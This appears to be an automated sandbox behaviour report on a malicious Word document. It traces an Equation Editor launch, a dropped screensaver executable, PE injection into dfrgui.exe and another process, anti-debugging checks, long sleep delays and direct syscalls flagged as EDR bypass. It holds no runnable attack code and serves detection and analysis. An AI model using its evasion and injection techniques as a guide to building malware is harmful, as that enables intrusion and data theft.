Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\loud89334.scr	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\loud89334.scr	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\loud89334.scr	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\loud89334.scr	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\loud89334.scr	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\loud89334.scr	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\loud89334.scr	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\loud89334.scr	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\loud89334.scr	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\loud89334.scr	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\loud89334.scr	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\loud89334.scr	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\loud89334.scr	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\loud89334.scr	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\loud89334.scr	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\loud89334.scr	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\loud89334.scr	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\loud89334.scr	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\loud89334.scr	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\loud89334.scr	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\loud89334.scr	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\loud89334.scr	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\loud89334.scr	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\loud89334.scr	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\loud89334.scr	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\loud89334.scr	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\loud89334.scr	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\loud89334.scr	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\loud89334.scr	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\hNYCAdXMNkWAImSJFAjXwpJUwycZfdWaCUBeflWikODcqwseQLOqHJVNjXXgRfFzWIkdXsePqDEVV\sQNFFcxirzZbXqUULewCRS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\hNYCAdXMNkWAImSJFAjXwpJUwycZfdWaCUBeflWikODcqwseQLOqHJVNjXXgRfFzWIkdXsePqDEVV\sQNFFcxirzZbXqUULewCRS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\hNYCAdXMNkWAImSJFAjXwpJUwycZfdWaCUBeflWikODcqwseQLOqHJVNjXXgRfFzWIkdXsePqDEVV\sQNFFcxirzZbXqUULewCRS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\dfrgui.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\dfrgui.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\dfrgui.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\dfrgui.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\dfrgui.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\dfrgui.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\dfrgui.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\dfrgui.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\dfrgui.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\dfrgui.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\dfrgui.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\dfrgui.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\dfrgui.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\dfrgui.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\dfrgui.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\dfrgui.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\dfrgui.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\dfrgui.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\dfrgui.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\dfrgui.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\dfrgui.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\dfrgui.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\dfrgui.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\dfrgui.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\dfrgui.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\dfrgui.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\dfrgui.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\dfrgui.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\dfrgui.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\dfrgui.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\dfrgui.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\dfrgui.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\dfrgui.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\dfrgui.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\dfrgui.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\dfrgui.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\dfrgui.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\dfrgui.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\dfrgui.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\dfrgui.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\dfrgui.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\dfrgui.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\dfrgui.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\dfrgui.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\dfrgui.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\dfrgui.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\dfrgui.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\dfrgui.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior

Source: C:\Users\user\AppData\Roaming\loud89334.scr	Memory allocated: 300000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\loud89334.scr	Memory allocated: 23A0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\loud89334.scr	Memory allocated: 470000 memory reserve \| memory write watch	Jump to behavior

Source: C:\Users\user\AppData\Roaming\loud89334.scr

Code function: 6_2_00DF0101 rdtsc

6_2_00DF0101

Source: C:\Users\user\AppData\Roaming\loud89334.scr

Thread delayed: delay time: 922337203685477

Jump to behavior

Source: C:\Windows\SysWOW64\dfrgui.exe

Window / User API: threadDelayed 9811

Jump to behavior

Source: C:\Windows\SysWOW64\dfrgui.exe

Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\sqlite3.dll

Jump to dropped file

Source: C:\Windows\SysWOW64\dfrgui.exe

API coverage: 2.5 %

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE TID: 2692	Thread sleep time: -180000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\loud89334.scr TID: 3108	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\dfrgui.exe TID: 3308	Thread sleep count: 148 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\dfrgui.exe TID: 3308	Thread sleep time: -296000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\dfrgui.exe TID: 3548	Thread sleep time: -420000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\dfrgui.exe TID: 3308	Thread sleep count: 9811 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\dfrgui.exe TID: 3308	Thread sleep time: -19622000s >= -30000s	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE TID: 3280	Thread sleep time: -120000s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\hNYCAdXMNkWAImSJFAjXwpJUwycZfdWaCUBeflWikODcqwseQLOqHJVNjXXgRfFzWIkdXsePqDEVV\sQNFFcxirzZbXqUULewCRS.exe TID: 3468	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Windows\SysWOW64\dfrgui.exe	Last function: Thread delayed
Source: C:\Windows\SysWOW64\dfrgui.exe	Last function: Thread delayed

Source: C:\Windows\SysWOW64\dfrgui.exe	File Volume queried: C:\Users\user\AppData\Local FullSizeInformation			Jump to behavior
Source: C:\Windows\SysWOW64\dfrgui.exe	File Volume queried: C:\Users\user\AppData\Local\Temp FullSizeInformation			Jump to behavior

Source: C:\Windows\SysWOW64\dfrgui.exe

Code function: 8_2_61E18064 sqlite3_os_init,GetSystemInfo,sqlite3_vfs_register,sqlite3_vfs_register,sqlite3_vfs_register,sqlite3_vfs_register,

8_2_61E18064

Source: C:\Users\user\AppData\Roaming\loud89334.scr

Thread delayed: delay time: 922337203685477

Jump to behavior

Source: loud89334.scr, 00000005.00000000.359382718.0000000000AB2000.00000020.00000001.01000000.00000004.sdmp, dfrgui.exe, 00000008.00000002.635447198.0000000000660000.00000004.00000020.00020000.00000000.sdmp, dfrgui.exe, 00000008.00000002.636013778.000000000294C000.00000004.10000000.00040000.00000000.sdmp, sQNFFcxirzZbXqUULewCRS.exe, 0000000C.00000000.419606909.00000000033CC000.00000004.00000001.00040000.00000000.sdmp, firefox.exe, 0000000E.00000002.478820963.000000000067C000.00000004.80000000.00040000.00000000.sdmp, loudzx[1].scr.2.dr, loud89334.scr.2.dr

Binary or memory string: flCPc3dp~JrNCRhgfs_YrhCRhHf{oJs

Source: C:\Users\user\AppData\Roaming\loud89334.scr

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\AppData\Roaming\loud89334.scr	Process queried: DebugPort			Jump to behavior
Source: C:\Windows\SysWOW64\dfrgui.exe	Process queried: DebugPort			Jump to behavior

Source: C:\Users\user\AppData\Roaming\loud89334.scr

Code function: 6_2_00DF0101 rdtsc

6_2_00DF0101

Source: C:\Users\user\AppData\Roaming\loud89334.scr

Code function: 6_2_00418BA3 LdrLoadDll,

6_2_00418BA3

Source: C:\Users\user\AppData\Roaming\loud89334.scr	Code function: 6_2_00D900EA mov eax, dword ptr fs:[00000030h]	6_2_00D900EA
Source: C:\Users\user\AppData\Roaming\loud89334.scr	Code function: 6_2_00D90080 mov ecx, dword ptr fs:[00000030h]	6_2_00D90080
Source: C:\Users\user\AppData\Roaming\loud89334.scr	Code function: 6_2_00DB26F8 mov eax, dword ptr fs:[00000030h]	6_2_00DB26F8

Source: C:\Users\user\AppData\Roaming\loud89334.scr

Memory allocated: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

.NET source code references suspicious native API functions

Source: 5.2.loud89334.scr.23f79d0.3.raw.unpack, vTOBOpTyAAvQkvZvwvxLfhLDrUkCOfiQETyyQECGGfUQGE.cs	Reference to suspicious API methods: Marshal.GetDelegateForFunctionPointer(GetProcAddress(LoadLibraryA(ref name), ref method), typeof(CreateApi))
Source: 5.2.loud89334.scr.23f79d0.3.raw.unpack, vTOBOpTyAAvQkvZvwvxLfhLDrUkCOfiQETyyQECGGfUQGE.cs	Reference to suspicious API methods: Marshal.GetDelegateForFunctionPointer(GetProcAddress(LoadLibraryA(ref name), ref method), typeof(CreateApi))
Source: 5.2.loud89334.scr.23f79d0.3.raw.unpack, vTOBOpTyAAvQkvZvwvxLfhLDrUkCOfiQETyyQECGGfUQGE.cs	Reference to suspicious API methods: ReadProcessMemory(processInformation.ProcessHandle, num3 + 8, ref buffer, 4, ref bytesRead)

Found direct / indirect Syscall (likely to bypass EDR)

Source: C:\Program Files (x86)\hNYCAdXMNkWAImSJFAjXwpJUwycZfdWaCUBeflWikODcqwseQLOqHJVNjXXgRfFzWIkdXsePqDEVV\sQNFFcxirzZbXqUULewCRS.exe	NtQueryInformationProcess: Direct from: 0x774CFAFA	Jump to behavior
Source: C:\Program Files (x86)\hNYCAdXMNkWAImSJFAjXwpJUwycZfdWaCUBeflWikODcqwseQLOqHJVNjXXgRfFzWIkdXsePqDEVV\sQNFFcxirzZbXqUULewCRS.exe	NtCreateUserProcess: Direct from: 0x774D093E	Jump to behavior
Source: C:\Program Files (x86)\hNYCAdXMNkWAImSJFAjXwpJUwycZfdWaCUBeflWikODcqwseQLOqHJVNjXXgRfFzWIkdXsePqDEVV\sQNFFcxirzZbXqUULewCRS.exe	NtCreateKey: Direct from: 0x774CFB62	Jump to behavior
Source: C:\Program Files (x86)\hNYCAdXMNkWAImSJFAjXwpJUwycZfdWaCUBeflWikODcqwseQLOqHJVNjXXgRfFzWIkdXsePqDEVV\sQNFFcxirzZbXqUULewCRS.exe	NtQuerySystemInformation: Direct from: 0x774D20DE	Jump to behavior
Source: C:\Program Files (x86)\hNYCAdXMNkWAImSJFAjXwpJUwycZfdWaCUBeflWikODcqwseQLOqHJVNjXXgRfFzWIkdXsePqDEVV\sQNFFcxirzZbXqUULewCRS.exe	NtQueryDirectoryFile: Direct from: 0x774CFDBA	Jump to behavior
Source: C:\Program Files (x86)\hNYCAdXMNkWAImSJFAjXwpJUwycZfdWaCUBeflWikODcqwseQLOqHJVNjXXgRfFzWIkdXsePqDEVV\sQNFFcxirzZbXqUULewCRS.exe	NtClose: Direct from: 0x774CFA02
Source: C:\Program Files (x86)\hNYCAdXMNkWAImSJFAjXwpJUwycZfdWaCUBeflWikODcqwseQLOqHJVNjXXgRfFzWIkdXsePqDEVV\sQNFFcxirzZbXqUULewCRS.exe	NtWriteVirtualMemory: Direct from: 0x774D213E	Jump to behavior
Source: C:\Program Files (x86)\hNYCAdXMNkWAImSJFAjXwpJUwycZfdWaCUBeflWikODcqwseQLOqHJVNjXXgRfFzWIkdXsePqDEVV\sQNFFcxirzZbXqUULewCRS.exe	NtCreateFile: Direct from: 0x774D00D6	Jump to behavior
Source: C:\Program Files (x86)\hNYCAdXMNkWAImSJFAjXwpJUwycZfdWaCUBeflWikODcqwseQLOqHJVNjXXgRfFzWIkdXsePqDEVV\sQNFFcxirzZbXqUULewCRS.exe	NtSetTimer: Direct from: 0x774D021A	Jump to behavior
Source: C:\Program Files (x86)\hNYCAdXMNkWAImSJFAjXwpJUwycZfdWaCUBeflWikODcqwseQLOqHJVNjXXgRfFzWIkdXsePqDEVV\sQNFFcxirzZbXqUULewCRS.exe	NtOpenFile: Direct from: 0x774CFD86	Jump to behavior
Source: C:\Program Files (x86)\hNYCAdXMNkWAImSJFAjXwpJUwycZfdWaCUBeflWikODcqwseQLOqHJVNjXXgRfFzWIkdXsePqDEVV\sQNFFcxirzZbXqUULewCRS.exe	NtSetInformationThread: Direct from: 0x774E9893	Jump to behavior
Source: C:\Program Files (x86)\hNYCAdXMNkWAImSJFAjXwpJUwycZfdWaCUBeflWikODcqwseQLOqHJVNjXXgRfFzWIkdXsePqDEVV\sQNFFcxirzZbXqUULewCRS.exe	NtOpenKeyEx: Direct from: 0x774CFA4A	Jump to behavior
Source: C:\Program Files (x86)\hNYCAdXMNkWAImSJFAjXwpJUwycZfdWaCUBeflWikODcqwseQLOqHJVNjXXgRfFzWIkdXsePqDEVV\sQNFFcxirzZbXqUULewCRS.exe	NtAllocateVirtualMemory: Direct from: 0x774CFAE2	Jump to behavior
Source: C:\Program Files (x86)\hNYCAdXMNkWAImSJFAjXwpJUwycZfdWaCUBeflWikODcqwseQLOqHJVNjXXgRfFzWIkdXsePqDEVV\sQNFFcxirzZbXqUULewCRS.exe	NtResumeThread: Direct from: 0x774D008D	Jump to behavior
Source: C:\Program Files (x86)\hNYCAdXMNkWAImSJFAjXwpJUwycZfdWaCUBeflWikODcqwseQLOqHJVNjXXgRfFzWIkdXsePqDEVV\sQNFFcxirzZbXqUULewCRS.exe	NtOpenKeyEx: Direct from: 0x774D103A	Jump to behavior
Source: C:\Program Files (x86)\hNYCAdXMNkWAImSJFAjXwpJUwycZfdWaCUBeflWikODcqwseQLOqHJVNjXXgRfFzWIkdXsePqDEVV\sQNFFcxirzZbXqUULewCRS.exe	NtUnmapViewOfSection: Direct from: 0x774CFCA2	Jump to behavior
Source: C:\Program Files (x86)\hNYCAdXMNkWAImSJFAjXwpJUwycZfdWaCUBeflWikODcqwseQLOqHJVNjXXgRfFzWIkdXsePqDEVV\sQNFFcxirzZbXqUULewCRS.exe	NtDelayExecution: Direct from: 0x774CFDA1	Jump to behavior
Source: C:\Program Files (x86)\hNYCAdXMNkWAImSJFAjXwpJUwycZfdWaCUBeflWikODcqwseQLOqHJVNjXXgRfFzWIkdXsePqDEVV\sQNFFcxirzZbXqUULewCRS.exe	NtSetInformationProcess: Direct from: 0x774CFB4A	Jump to behavior
Source: C:\Program Files (x86)\hNYCAdXMNkWAImSJFAjXwpJUwycZfdWaCUBeflWikODcqwseQLOqHJVNjXXgRfFzWIkdXsePqDEVV\sQNFFcxirzZbXqUULewCRS.exe	NtSetInformationThread: Direct from: 0x774CF9CE	Jump to behavior
Source: C:\Program Files (x86)\hNYCAdXMNkWAImSJFAjXwpJUwycZfdWaCUBeflWikODcqwseQLOqHJVNjXXgRfFzWIkdXsePqDEVV\sQNFFcxirzZbXqUULewCRS.exe	NtReadFile: Direct from: 0x774CF915	Jump to behavior
Source: C:\Program Files (x86)\hNYCAdXMNkWAImSJFAjXwpJUwycZfdWaCUBeflWikODcqwseQLOqHJVNjXXgRfFzWIkdXsePqDEVV\sQNFFcxirzZbXqUULewCRS.exe	NtMapViewOfSection: Direct from: 0x774CFC72	Jump to behavior
Source: C:\Program Files (x86)\hNYCAdXMNkWAImSJFAjXwpJUwycZfdWaCUBeflWikODcqwseQLOqHJVNjXXgRfFzWIkdXsePqDEVV\sQNFFcxirzZbXqUULewCRS.exe	NtCreateThreadEx: Direct from: 0x774D08C6	Jump to behavior
Source: C:\Program Files (x86)\hNYCAdXMNkWAImSJFAjXwpJUwycZfdWaCUBeflWikODcqwseQLOqHJVNjXXgRfFzWIkdXsePqDEVV\sQNFFcxirzZbXqUULewCRS.exe	NtDeviceIoControlFile: Direct from: 0x774CF931	Jump to behavior
Source: C:\Program Files (x86)\hNYCAdXMNkWAImSJFAjXwpJUwycZfdWaCUBeflWikODcqwseQLOqHJVNjXXgRfFzWIkdXsePqDEVV\sQNFFcxirzZbXqUULewCRS.exe	NtRequestWaitReplyPort: Direct from: 0x753C6BCE	Jump to behavior
Source: C:\Program Files (x86)\hNYCAdXMNkWAImSJFAjXwpJUwycZfdWaCUBeflWikODcqwseQLOqHJVNjXXgRfFzWIkdXsePqDEVV\sQNFFcxirzZbXqUULewCRS.exe	NtQueryValueKey: Direct from: 0x774CFACA	Jump to behavior
Source: C:\Program Files (x86)\hNYCAdXMNkWAImSJFAjXwpJUwycZfdWaCUBeflWikODcqwseQLOqHJVNjXXgRfFzWIkdXsePqDEVV\sQNFFcxirzZbXqUULewCRS.exe	NtOpenSection: Direct from: 0x774CFDEA	Jump to behavior
Source: C:\Program Files (x86)\hNYCAdXMNkWAImSJFAjXwpJUwycZfdWaCUBeflWikODcqwseQLOqHJVNjXXgRfFzWIkdXsePqDEVV\sQNFFcxirzZbXqUULewCRS.exe	NtProtectVirtualMemory: Direct from: 0x774D005A	Jump to behavior
Source: C:\Program Files (x86)\hNYCAdXMNkWAImSJFAjXwpJUwycZfdWaCUBeflWikODcqwseQLOqHJVNjXXgRfFzWIkdXsePqDEVV\sQNFFcxirzZbXqUULewCRS.exe	NtWriteVirtualMemory: Direct from: 0x774CFE36	Jump to behavior
Source: C:\Program Files (x86)\hNYCAdXMNkWAImSJFAjXwpJUwycZfdWaCUBeflWikODcqwseQLOqHJVNjXXgRfFzWIkdXsePqDEVV\sQNFFcxirzZbXqUULewCRS.exe	NtRequestWaitReplyPort: Direct from: 0x756F8D92	Jump to behavior
Source: C:\Program Files (x86)\hNYCAdXMNkWAImSJFAjXwpJUwycZfdWaCUBeflWikODcqwseQLOqHJVNjXXgRfFzWIkdXsePqDEVV\sQNFFcxirzZbXqUULewCRS.exe	NtQueryVolumeInformationFile: Direct from: 0x774CFFAE	Jump to behavior
Source: C:\Program Files (x86)\hNYCAdXMNkWAImSJFAjXwpJUwycZfdWaCUBeflWikODcqwseQLOqHJVNjXXgRfFzWIkdXsePqDEVV\sQNFFcxirzZbXqUULewCRS.exe	NtNotifyChangeKey: Direct from: 0x774D0F92	Jump to behavior
Source: C:\Program Files (x86)\hNYCAdXMNkWAImSJFAjXwpJUwycZfdWaCUBeflWikODcqwseQLOqHJVNjXXgRfFzWIkdXsePqDEVV\sQNFFcxirzZbXqUULewCRS.exe	NtQueryAttributesFile: Direct from: 0x774CFE7E	Jump to behavior
Source: C:\Program Files (x86)\hNYCAdXMNkWAImSJFAjXwpJUwycZfdWaCUBeflWikODcqwseQLOqHJVNjXXgRfFzWIkdXsePqDEVV\sQNFFcxirzZbXqUULewCRS.exe	NtReadVirtualMemory: Direct from: 0x774CFEB2	Jump to behavior
Source: C:\Program Files (x86)\hNYCAdXMNkWAImSJFAjXwpJUwycZfdWaCUBeflWikODcqwseQLOqHJVNjXXgRfFzWIkdXsePqDEVV\sQNFFcxirzZbXqUULewCRS.exe	NtSetTimer: Direct from: 0x774E98D5	Jump to behavior
Source: C:\Program Files (x86)\hNYCAdXMNkWAImSJFAjXwpJUwycZfdWaCUBeflWikODcqwseQLOqHJVNjXXgRfFzWIkdXsePqDEVV\sQNFFcxirzZbXqUULewCRS.exe	NtSetInformationFile: Direct from: 0x774CFC5A	Jump to behavior
Source: C:\Program Files (x86)\hNYCAdXMNkWAImSJFAjXwpJUwycZfdWaCUBeflWikODcqwseQLOqHJVNjXXgRfFzWIkdXsePqDEVV\sQNFFcxirzZbXqUULewCRS.exe	NtQuerySystemInformation: Direct from: 0x774CFDD2	Jump to behavior

Injects a PE file into a foreign processes

Source: C:\Users\user\AppData\Roaming\loud89334.scr

Memory written: C:\Users\user\AppData\Roaming\loud89334.scr base: 400000 value starts with: 4D5A

Jump to behavior

Maps a DLL or memory area into another process

Source: C:\Users\user\AppData\Roaming\loud89334.scr	Section loaded: NULL target: C:\Program Files (x86)\hNYCAdXMNkWAImSJFAjXwpJUwycZfdWaCUBeflWikODcqwseQLOqHJVNjXXgRfFzWIkdXsePqDEVV\sQNFFcxirzZbXqUULewCRS.exe protection: execute and read and write	Jump to behavior
Source: C:\Program Files (x86)\hNYCAdXMNkWAImSJFAjXwpJUwycZfdWaCUBeflWikODcqwseQLOqHJVNjXXgRfFzWIkdXsePqDEVV\sQNFFcxirzZbXqUULewCRS.exe	Section loaded: NULL target: C:\Users\user\AppData\Roaming\loud89334.scr protection: execute and read and write	Jump to behavior
